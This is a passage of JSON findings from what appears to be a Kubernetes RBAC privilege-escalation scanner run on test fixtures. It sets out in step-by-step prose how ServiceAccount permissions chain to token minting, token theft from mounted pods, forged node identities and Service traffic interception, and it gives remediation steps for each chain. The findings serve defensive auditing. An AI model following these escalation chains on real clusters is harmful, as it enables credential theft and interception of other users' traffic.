      "detail": "Source `ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/privesc-fixtures/sa-pod-create-escape` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/privesc-fixtures/sa-pod-create-escape`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-pod-create-escape`, the attacker creates a pod that mounts the `ServiceAccount/privesc-fixtures/sa-secret-mint` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-secret-mint`, the attacker uses the `secret_mint_token` technique via `create + get secrets (cluster-wide)`, which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. secret_mint_token [create + get secrets (cluster-wide)]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "pod_create_token_theft",
        "secret_mint_token"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the `create pods` capability that enables hop 1 (`ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `ServiceAccount/privesc-fixtures/sa-secret-mint`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the `create pods` capability that enables hop 1 (`ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `ServiceAccount/privesc-fixtures/sa-secret-mint`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create-escape",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-secret-mint",
          "namespace": "privesc-fixtures"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint",
        "source_binding": "rb-pod-create-escape",
        "source_role": "r-pod-create-escape",
        "binding_namespace": "privesc-fixtures"
      },
      {
        "step": 2,
        "action": "secret_mint_token",
        "technique": "KUBE-PRIVESC-007",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-secret-mint",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create + get secrets (cluster-wide)",
        "gains": "can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/privesc-fixtures/sa-pod-exec:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 6.45,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-pod-exec` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-pod-exec` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/privesc-fixtures/sa-pod-exec` → `ServiceAccount/foothold-exec/foothold-decoy-sa` via `pod_exec` (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount foothold-exec/foothold-decoy-sa\n  2. `ServiceAccount/foothold-exec/foothold-decoy-sa` → `/` via `secret_mint_token` (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-exec",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-pod-exec` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/privesc-fixtures/sa-pod-exec` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/privesc-fixtures/sa-pod-exec`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-pod-exec`, the attacker uses `pods/exec` (`create,get pods/exec|pods/attach`) to open a shell inside `ServiceAccount/foothold-exec/foothold-decoy-sa` and inherit whatever ServiceAccount or host privileges that container holds.",
      "Acting as `ServiceAccount/foothold-exec/foothold-decoy-sa`, the attacker uses the `secret_mint_token` technique via `create + get secrets (cluster-wide)`, which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_exec [create,get pods/exec|pods/attach]",
        "2. secret_mint_token [create + get secrets (cluster-wide)]"
      ],
      "first_action": "pod_exec",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "pod_exec",
        "secret_mint_token"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `create,get pods/exec|pods/attach` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-pod-exec` → `ServiceAccount/foothold-exec/foothold-decoy-sa`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `create,get pods/exec|pods/attach` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-pod-exec` → `ServiceAccount/foothold-exec/foothold-decoy-sa`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_exec",
        "technique": "KUBE-PRIVESC-004",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-exec",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
        "permission": "create,get pods/exec|pods/attach",
        "gains": "can exec into pods running as ServiceAccount foothold-exec/foothold-decoy-sa",
        "source_binding": "crb-pod-exec",
        "source_role": "cr-pod-exec"
      },
      {
        "step": 2,
        "action": "secret_mint_token",
        "technique": "KUBE-PRIVESC-007",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create + get secrets (cluster-wide)",
        "gains": "can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/rbac-fixtures/sa-pod-create:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 6.45,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-pod-create` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-pod-create` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cert-manager/cert-manager` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount cert-manager/cert-manager\n  2. `ServiceAccount/cert-manager/cert-manager` → `/` via `secret_mint_token` (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-pod-create` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-pod-create` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/rbac-fixtures/sa-pod-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/cert-manager/cert-manager` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/cert-manager/cert-manager`, the attacker uses the `secret_mint_token` technique via `create + get secrets (cluster-wide)`, which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. secret_mint_token [create + get secrets (cluster-wide)]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "pod_create_token_theft",
        "secret_mint_token"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the `create pods` capability that enables hop 1 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cert-manager/cert-manager`). Evaluated cut: removing this subject from the `crb-pod-create` binding that grants hop 1. A route to the same sink survives that cut.",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the `create pods` capability that enables hop 1 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cert-manager/cert-manager`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount cert-manager/cert-manager",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 2,
        "action": "secret_mint_token",
        "technique": "KUBE-PRIVESC-007",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create + get secrets (cluster-wide)",
        "gains": "can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount"
      }
    ],
    "alternate_escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod rbac-fixtures/daemon-app-nl55v falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint",
      "privesc:survives-first-cut"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/rbac-fixtures/sa-workload-mutate:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 6.45,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-workload-mutate` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-workload-mutate` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/rbac-fixtures/sa-workload-mutate` → `ServiceAccount/cert-manager/cert-manager` via `workload_create_token_theft` (create deployments/daemonsets/statefulsets/jobs/cronjobs): can create a workload whose pods run as ServiceAccount cert-manager/cert-manager\n  2. `ServiceAccount/cert-manager/cert-manager` → `/` via `secret_mint_token` (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-workload-mutate",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-workload-mutate` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-workload-mutate` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/rbac-fixtures/sa-workload-mutate`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-workload-mutate`, the attacker creates a workload (`create deployments/daemonsets/statefulsets/jobs/cronjobs`) whose pod template runs as `ServiceAccount/cert-manager/cert-manager`. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.",
      "Acting as `ServiceAccount/cert-manager/cert-manager`, the attacker uses the `secret_mint_token` technique via `create + get secrets (cluster-wide)`, which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. workload_create_token_theft [create deployments/daemonsets/statefulsets/jobs/cronjobs]",
        "2. secret_mint_token [create + get secrets (cluster-wide)]"
      ],
      "first_action": "workload_create_token_theft",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "workload_create_token_theft",
        "secret_mint_token"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `create deployments/daemonsets/statefulsets/jobs/cronjobs` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-workload-mutate` → `ServiceAccount/cert-manager/cert-manager`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `create deployments/daemonsets/statefulsets/jobs/cronjobs` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-workload-mutate` → `ServiceAccount/cert-manager/cert-manager`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "workload_create_token_theft",
        "technique": "KUBE-PRIVESC-003",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-workload-mutate",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "permission": "create deployments/daemonsets/statefulsets/jobs/cronjobs",
        "gains": "can create a workload whose pods run as ServiceAccount cert-manager/cert-manager",
        "source_binding": "crb-workload-mutate",
        "source_role": "cr-workload-mutate"
      },
      {
        "step": 2,
        "action": "secret_mint_token",
        "technique": "KUBE-PRIVESC-007",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create + get secrets (cluster-wide)",
        "gains": "can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/vulnerable/privileged-reader:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 6.45,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/vulnerable/privileged-reader` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/vulnerable/privileged-reader` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/vulnerable/privileged-reader` → `ServiceAccount/cert-manager/cert-manager` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount cert-manager/cert-manager\n  2. `ServiceAccount/cert-manager/cert-manager` → `/` via `secret_mint_token` (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount",
    "subject": {
      "kind": "ServiceAccount",
      "name": "privileged-reader",
      "namespace": "vulnerable"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/vulnerable/privileged-reader` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/vulnerable/privileged-reader` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/vulnerable/privileged-reader`.",
      "Acting as `ServiceAccount/vulnerable/privileged-reader`, the attacker creates a pod that mounts the `ServiceAccount/cert-manager/cert-manager` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/cert-manager/cert-manager`, the attacker uses the `secret_mint_token` technique via `create + get secrets (cluster-wide)`, which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. secret_mint_token [create + get secrets (cluster-wide)]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "pod_create_token_theft",
        "secret_mint_token"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the `create pods` capability that enables hop 1 (`ServiceAccount/vulnerable/privileged-reader` → `ServiceAccount/cert-manager/cert-manager`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the `create pods` capability that enables hop 1 (`ServiceAccount/vulnerable/privileged-reader` → `ServiceAccount/cert-manager/cert-manager`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "privileged-reader",
          "namespace": "vulnerable"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount cert-manager/cert-manager",
        "source_binding": "privileged-reader",
        "source_role": "privileged-reader"
      },
      {
        "step": 2,
        "action": "secret_mint_token",
        "technique": "KUBE-PRIVESC-007",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cert-manager",
          "namespace": "cert-manager"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create + get secrets (cluster-wide)",
        "gains": "can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-TRAFFIC-INTERCEPT:ServiceAccount/nodeid-fixtures/nodeid-tokenwriter:traffic_intercept",
    "rule_id": "KUBE-PRIVESC-PATH-TRAFFIC-INTERCEPT",
    "severity": "HIGH",
    "score": 6.449999999999999,
    "category": "lateral_movement",
    "title": "`ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` can **intercept in-cluster Service traffic** in 4 hop(s)",
    "description": "Subject `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` has a privesc path that terminates in control over where a Service's traffic goes. A Service's backends are derived from the IPs its selected pods report in their status, and that status is an ordinary API subresource: a subject that can write it rewrites a pod's `podIP`, the EndpointSlice controller republishes the address, and kube-proxy re-points the Service at it within a second. Clients resolve the Service name as before and connect to the attacker.\n\nThe chain (4 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `/` via `bootstrap_token_mint` (create secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name\n  2. `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there\n  3. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/hookbackend-fixtures/hookbackend-operator` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator\n  4. `ServiceAccount/hookbackend-fixtures/hookbackend-operator` → `/` via `service_backend_rewrite` (get,list,patch services): can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses\n\nWhat this yields depends on who calls the intercepted Service. For an application Service it is that application's credentials and data. For a Service that backs an admission webhook or an aggregated API, the clients are the API server itself, and the position becomes admission bypass or control-plane credential capture. The hop's difficulty says how durable the position is: `hard` when the pod's kubelet corrects the status every 10 seconds and the attacker must keep writing it, `moderate` when a selected Service publishes not-ready addresses and a selected pod has no node, so nothing ever corrects it.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "nodeid-tokenwriter",
      "namespace": "nodeid-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `Service traffic interception`"
    },
    "impact": "Adversary-in-the-middle position on one or more in-cluster Services: capture of bearer tokens, credentials, and request bodies that the Service's clients send, and the ability to alter responses. For a webhook or aggregated-API backend, this is admission bypass or API-server credential capture.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter`.",
      "Acting as `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter`, the attacker writes a Secret of type `bootstrap.kubernetes.io/token` in kube-system (`create secrets in kube-system`). The bootstrap-token authenticator treats it as a credential for `system:bootstrap:\u003cid\u003e` in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/rbac-fixtures/sa-pod-create` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/rbac-fixtures/sa-pod-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/hookbackend-fixtures/hookbackend-operator` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/hookbackend-fixtures/hookbackend-operator`, the attacker rewrites a Service's spec (`get,list,patch services`): its selector, so it points at pods the attacker controls, its ports, or its type (an `ExternalName` sends clients to a hostname of the attacker's choosing). The controller republishes the backends within a second and clients resolve the Service name as before, so they connect to the attacker.",
      "Final step: the Service's clients connect to an address the attacker controls. Every request they send arrives there first: bearer tokens in `Authorization` headers, webhook payloads, database credentials in connection strings. The attacker reads or alters them and forwards the request to the real backend, so nothing breaks and nothing is logged on the client side."
    ],
    "evidence": {
      "chain_summary": [
        "1. bootstrap_token_mint [create secrets in kube-system]",
